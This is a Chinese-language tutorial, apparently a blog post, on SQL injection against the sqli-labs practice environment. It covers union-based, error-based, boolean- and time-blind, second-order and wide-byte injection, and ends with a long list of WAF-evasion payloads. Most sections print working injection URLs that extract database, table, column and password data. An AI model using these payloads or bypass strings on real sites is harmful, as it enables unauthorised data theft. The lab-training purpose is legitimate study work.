sql注入的流程

26 阅读19分钟
  1. SQL注入的危害
只要权限高,可以脱库
如果有写入权限,可以写入webshell
可以对数据库进行增删改查操作
可以逐步进行提权操作服务器
  1. SQL注入的分类
按照提交方式分类
GET型注入
POST型注入
Cooike注入
header注入
User-Agent注入
Referer注入
  1. 按照数据类型分类
int型注入
string型注入
like型注入
  1. 按照获取数据的方式分类
联合查询注入
报错注入
布尔盲注
时间盲注
DNSlog盲注
堆叠注入
二次注入
宽字节注入
其他类型注入
insert注入
update注入
delete注入

常用函数

注意:在information_schema数据库中SCHEMATA表中记录着所有数据库名称SCHEMA_NAME字段,TABLES表中记录着所有的表名 COLUMNS表中记录着所有的字段名称

一.联合查询sql注入的流程

  1. 判断注入点
http://192.168.112.136:8080/Less-1/?id=1'

后端sql

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  1. 判断字段数
order by 的作用为根据一列或者多列的值,按照升序或者降序排列数据,当超出表的列数是发生报错。

  1. 判断回显点 当第一个select语句获取的数据为 NULL 时,才会显示第二个 SELECT 语句中的列名。即第一个select语句要为false才行

所以http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2,3 --+中的id为-1才能成功回显

  1. 查询数据库名称 方式1:
http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+

方式2:

http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2,database() --+

  1. 查询表名
http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security') --+

6. 查询表字段名称

http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2, (select group_concat(column_name) from information_schema.columns where table_name='user') --+

7. 查询表数据

http://192.168.112.136:8080/Less-1/?id=-1' union select 1,2, (select concat(username, password) from users limit 0,1) --+

二、报错注入

Mysql 在执行 SQL语句的时,如果语句有错会返回报错信息。但在与 PHP 结合使用的时候默认并不会把报错的信息在页面显示出来,可以在 PHP 文件中通过调用 mysql_error() 将错误显示在页面上。

  1. 报错函数
floor()
extractvalue()
updatexml()
exp()
geometrycollection()
multiponint()
polygon()
multipolygon()
linestring()
multilinestring()
floor()
利用 floor () 函数使 SQL 语句报错,实际上是由 rand () , count () , group by 三个函数语句联合使用造成的。
首先,看一下语句中使用到的函数和子句:
concat(): 连接字符串功能
floor(): 取float的整数值(向下取整)
rand(): 取0~1之间的随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
floor(rand(0)*2): 随机产生01
count() 对表中符合特定条件的所有行进行计数
使用floor(rand(0)*2)时,返回的值一直为011011

查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。
查询第二条记录,rand(0)得1,键值1存在临时表,则值加12。
查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值11存在于临时表,由于键值必须唯一,导致报错。
由上述可得,表中必须存在大于等于3条记录才会产生报错
当数据行数大于3, floor(rand(0)*2)必定报错

select count(*) from user group by concat(0x7e,database(),0x7e,floor(rand(0)*2));

以sqli-labs第5关为例:

#爆数据库
http://192.168.100.100:8080/Less-5/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))test from information_schema.tables group by test--+

#爆表
http://192.168.100.100:8080/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test--+

#爆字段
http://192.168.100.100:8080/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test--+

#爆值
http://192.168.100.100:8080/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test--+
extractvalue()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

语法:EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

以sqli-labs第5关为例:

#爆数据库
http://192.168.100.100:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

#爆表
http://192.168.100.100:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

#爆字段
http://192.168.100.100:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))--+

#爆值
http://192.168.100.100:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+
updatexml()
在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

语法: UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
其实原理和extractvalue()是一样的,利用Xpath格式字符串不符合要求达到报错的效果,但是不一样的是,updatexml()有3个参数,要注意这一点。

以sqli-labs第5关为例:

#爆数据库名
http://192.168.100.100:8080/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

#爆表
http:192.168.100.100:8080/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

#爆字段
http://192.168.100.100:8080/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

#爆值
http://192.168.100.100:8080/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
exp()
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。

利用exp函数也产生类似的溢出错误

exp是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,从而爆出数据。

以sqli-labs第5关为例:

#爆数据库
http://192.168.100.100:8080/Less-5/?id=1' union select 1,2,exp(~(select * from (select database())x))--+

#爆表
http://192.168.100.100:8080/Less-5/?id=1' union select 1,2,exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x))--+

#爆字段
http://192.168.100.100:8080/Less-5/?id=1' union select 1,2,exp(~(select * from(select column_name from information_schema.columns where table_name='users' limit 0,1)x))--+

#爆值
http://192.168.100.100:8080/Less-5/?id=1' union select 1,2,exp(~(select * from(select username from users limit 0,1)x))--+

三、布尔盲注

相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。

--length() 返回字符串长度 ==>> length(database())=1 根据页面是否正常显示来判断数据库名的长度是否为1

--substr() 截取字符串 ==>> substr('123456789',2,3) 从123456789的第二个位置开始去三个数结果为234      【注】substr('123456789',-5,3)的结果为567,-5代表倒着数的第5位开始取

--ascii() 返回字符的ascii码 [将字符变为数字]  ==>> ascii(substr(database(),1,1))=97 根据页面是否正常显示来判断数据库名的第一位是否为‘a’。这个时候有人就会觉得这么繁琐无聊的事儿是人做的么?那肯定不是啊,这种反复的事情就适合交给计算机来做。这个时候就要再次邀请Brup Suite隆重登场!!

布尔盲注常用函数

substr(str,pos,len):将str从pos位置开始截取len个字符进行返回。

ord():返回str最左面字符的ascii码值

ascii():返回str最左面字符的ascii码值

length(str):返回str字符串的长度

if(a,b,c):a为条件,a为true,返回b,否则返回c

mid(str,pos,len):将str从pos位置开始截取len个字符进行返回。

查询数据库长度
根据布尔类型的规则网页中只会返回truefalse,用length判断数据库有几个字符

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>10--+
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8--+

根据回显的页面判断数据正确与否,判断出数据库长度为8

查询数据库名称

我们已经判断完数据库的名字长度,接下来就来猜测数据库的第一个字母是什么

利用ascii函数和substr函数将数据库名切割为一个个的字符 然后使用转换为ascii码值 如果输入的ascii码值与查询出的值一样,则页面返回正确,否则页面返回不正常

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=101--+
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

根据更改pos值 可以找到正确的ascii值 数据库前两个字符为 se 可以编写python脚本来完成这一重复的工作。

查询数据库中的表,字段 查询出数据库的名字为security后我们按顺序查询表名的第一个字母

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+

判断出第一个字符为e

最后得到表名为emails,于是我们查询字段值的第一个字母

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1))=105--+

最后查到字段为id,可以编写脚本来自动循环跑出。(之前写过脚本)

四、时间盲注

特点:在传参处传入使页面正常显示和异常显示的语句,发现页面显示是相同的,初步判定可能存在时间盲注

--sleep(n) 将程序挂起n秒 ==>>  id=1" and sleep(5) -- asd 观察页面是否没有立即显示,而是经过了短暂挂起状态(转圈圈加载中)

--if(expr1,expr2,expr3) 判断语句,如果第一个语句为真,那么就执行第二个语句;若第一个语句为假,就执行第三个语句 

==>> id=1" and if(ascii(substr(database(),1,1))=97,sleep(5),1) -- asd 若数据库名第一个字符为 a 那么网页就挂起5秒,否则正常显示

前提条件:保证代码的正确,若代码错误,页面也可能不会延迟

时间盲注,比较麻烦,步骤繁琐,可以用sqlmap直接跑,没有必要手注,毕竟盲注是sqlmap亲儿子
根据页面是否休眠来判断返回的ascii码值正确与否 从而跑出数据

判断注入点

?id=1' and sleep(5)--+ //正常休眠

?id=1" and sleep(5)--+ //无休眠

?id=1') and sleep(5)--+//无休眠

?id=1") and sleep(5)--+//无休眠

?id=1' and if(length(database())=8,sleep(10),1)--+
爆出数据库,页面休眠五秒 证明数据库名第一个字符ascii值为115 即为s,以此类推判断出数据库名为security

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
爆出数据表,页面休眠五秒 证明表名名第一个字符ascii值为101 即为e,以此类推判断出表名为email

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101,sleep(5),0)--+
爆出数据表字段,页面休眠五秒 证明表字段名第一个字符ascii值为101 即为i,以此类推判断出字段名为id

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1))=105,sleep(5),0)--+

五、堆叠注入

因为在sql 查询语句中, 分号“;” 代表查询语句的结束。 所以在执行sql 语句结尾分号的后面,再加一条sql 语句,就造成了堆叠注入。

六、二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说一次攻击造成不了什么,但是两次配合起来就会早成注入漏洞。

两次注入分别是插入恶意数据、利用恶意数据

第一次插入恶意数据

这里直接注册admin'#

然后更改密码 后端代码为

update users set password='$new_pass' where username='$user' and password='$old_pass';
如果我们注册一个这样的账号 admin'# 上述sql语句就变成这样

update users set password='$new_pass' where username='admin'# and password='$old_pass';
显而易见,语句原义被破坏,本来修改的是admin'# 用户的账号和密码,现在却是变成了直接修改admin用户的密码

这就是二次注入

七、宽字节注入

一.sql_宽字节注入概念
1.了解宽字节注入前,必须先了解字符集编码:点击这里

2.gbk占用两个字节,ascll占用一个字节,php编码为gbk,
函数执行添加的是ascll编码,
mysql默认字符集是gbk等宽字节字符集。

%DF’ :会被PHP当中的addslashes函数转意%DF\’,"\" 既是url中的"%5C", 也就会被转成"%DF%5C%27",如果网站的字符集是GBK,mysql也是gbk,就认为%DF%5C%27是一个宽字节,也就是""

我们理清一下思路

<1>.既然被addslashes函数转意,多了一个,所以我们就要想办法去掉他,或者让他无法转义’
.<2>mysql使用gbk编码时,两个字符是一个汉字(也就是一个汉字占2个字节)

<3>.当我们使用%DF’ 时,就变为了%DF%5C%27,而%DF%5C,刚好是两个字符,这两个字符合起来也就变成了中文"",此时我们发现我们就逃出了\ ,所以我们就可以进行探测了


3.最常用的宽字节注入利用%df,只要ascii码大于128就可以了,比如ASCII码为129(十进制)转化为十六进制,
gbk首字母对应0x81-0xFE ,尾部对应0x40-0xFE(除了0x7F)
所以只要在这个范围都可以,比如0xbf 一样可以,也就是%bf’


二.sql_宽字节注入源码分析
1.介绍两个函数
这里是借鉴大佬的总结

addslashes()函数,这个函数在遇到意前,添加反斜杠\,
预定义:单引号’ 、双引号"、反斜杠\、和空值,这个函数有一个特点,虽然加\转义,但是\并不会插入数据库中, 这个函数的功能和魔术引号完全相同,当打开了魔术引号时,不应该使用这个函数。

mysql_real_escape_string()函数,这个函数用来转义sql语句中的特殊字符x00 ,\n,\r,,等

魔术引号:当打开时,所有的单引号’、双引号"、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes()函数的作用完全相同。所以,如果魔术引号打开了,就不要使用addslashes()函数了。一共有三个魔术引号指令。

magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。

参见 get_magic_quotes_gpc()。 magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。

参见 set_magic_quotes_runtime() get_magic_quotes_runtime()。 magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ‘’。而双引号、反斜线 和 NULL 字符将不会进行转义。 如何取得其值参见 ini_get()

2.看看 less-33 源码
1.使用了addslashes函数过滤
2.使用了gbk编码
3.传入sql语句

例如addslashes()函数,这个函数的作用是返回在预定义字符之前添加反斜杠的字符串。

当我们传入

inde.php?id=1'

发现页面没有变化,因为这一题使用了addslashes()函数转义了特殊字符

假如传参为

inde.php?id=1%df'
经过转义后会变成
inde.php?id=1%df\' ---> inde.php?id=1%df%5c%27

而%df%5c再gbk编码中为一个汉字

可以看到我们的单引号没有被转义,从而达到了闭合单引号的效果

需要有个前提,也就是MYSQL设置了GBK编码:

set character_set_client=gbk 简单来说宽字节注入就是 后端在使用过滤函数 如addslashes()函数 对输入的特殊字符转义时,传入的数据为%df' 会将 ' 转义为 '

这个时候根据gbk编码的规则两个字节为一个汉字%df与\的url编码%5c合并为两个字节%df%5c成为一个汉字从而逃逸出 '

八、绕过方式

注释符绕过
常用的注释符有:

1-- 注释内容

2)# 注释内容

3/* 注释内容 */

双写绕过
有些waf会对关键词进行过滤,若只过滤1次,则可以双写绕过。

等号绕过
有的waf会对等于号进行拦截和过滤,使用like代替
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

rlike: 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

regexp:MySQL 中使用 REGEXP 操作符来进行正则表达式匹配
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

使用大小于号来绕过
select * from users where id > 1 and id < 3

<> 等价于 !=,所以在前面再加一个!结果就是等号了
select * from users where !(id <> 1)

过滤大小于号绕过
greatest (n1, n2, n3…): 返回 n 中的最大值
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

least (n1,n2,n3…): 返回 n 中的最小值,与上同理。
strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

in 关键字
select * from users where id = 1 and substr(username,1,1) in ('t')

between a and b: 范围在 a-b 之间,包括 a、b。
select * from users where id between 1 and 2

select * from users where id between 1 and 1

order by 绕过
当 order by 被过滤时,可以使用 into 变量名进行代替。

and/or绕过
主流的 waf 都会对andorxor进行拦截。替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于|

union select 绕过
uNIoN sel<>ect # 程序过滤<>为空 脚本处理
uNi//on sele//ct # 程序过滤//为空
uNIoN /!%53eLEct/ # url 编码与内联注释
uNIoN se%0blect # 使用空格绕过
uNIoN sele%ct # 使用百分号绕过
uNIoN %53eLEct # 编码绕过
uNIoN sELecT 1,2 #大小写绕过
uNIoN all select 1,2 # ALL绕过
uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
null+UNION+SELECT+1,2 # 加号代替空格绕过
/!union//!select/1,2 # 内联注释绕过
/!50000union//!50000select/1,2 # 内联注释绕过
uNIoN//select/**/1,2 # 注释代替空格绕过

大小写绕过
对关键词设置为大小写即可

逗号绕过
有些防注入脚本都会逗号进行拦截。变换函数的形式,

比如 substr(database(),1,1)—> substr(database() from 1 for 1) ;limit 0,1 —> limit 1 offset 0

使用 join 关键字来绕过

select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等价于 union select 1,2,3

使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号

select user() like "t%"

上式等价于 select ascii (substr (user (),1,1))=114

使用 offset 关键字,适用于 limit 中的逗号被过滤的情况,limit 2,1 等价于 limit 1 offset 2

select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

等函数替换
当常用函数被waf拦截时,可以使用偏僻函数或者功能相同的其他函数,比如substr()函数被拦截,就可以使用mid函数;报错注入的updatexml()用polygon()函数替换。

sleep() -->benchmark()

MySQL 有一个内置的 BENCHMARK () 函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

select 1,2 and benchmark(1000000000,1)

ascii ()–>hex ()、bin (),替代之后再使用对应的进制转 string 即可

group_concat ()–>concat_ws (),第一个参数为分隔符

substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

user() --> @@user、datadir–>@@datadir

ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

浮点数绕过
通过浮点数的形式从而绕过。id=1 union select —> id=1.0union select —> id=1E0union select

添加库名绕过
有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。

ascii编码绕过
waf有的时候会对截取的字符拦截,可以使用ascii编码对比进行绕过。

base64编码绕过
waf有的时候会对截取的字符拦截,可以将注入的语句进行base64编码进行绕过

十六进制绕过
UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

空格字符绕过
空格字符可以混淆WAF的检测机制。%20=%a0=%09=%0a=0b=%0c=%0d=+

可代替空格的方式:

1/**/

2)()

3)回车 (url 编码中的 %0a)

4)`(tab 键上面的按钮)

5)tap

6)两个空格

eg:union/**/select/**/1,2

select (passwd) from (users) # 注意括号中不能含有 *

select`passwd`from`users`

引号字符绕过
若单引号被拦截,则使用双引号,若都被拦截,就尝试使用hex六进制编码,也可以考虑宽字节注入绕过

参数污染
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。

注释绕过
内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 /

内联注释就是把一些特有的仅在 MYSQL 上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在 MYSQL 中会执行。

脏数据溢出绕过
数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参)

GET/POST转换绕过
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测。

白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,比如白名单目录,白名单文件等等,所以可以利用这个特点,可以进行突破。

花括号绕过
花括号,左边是注释的内容,这样的话可以过一些waf的拦截。

反引号绕过

特殊符号反引号也能绕过waf

本文由mdnice多平台发布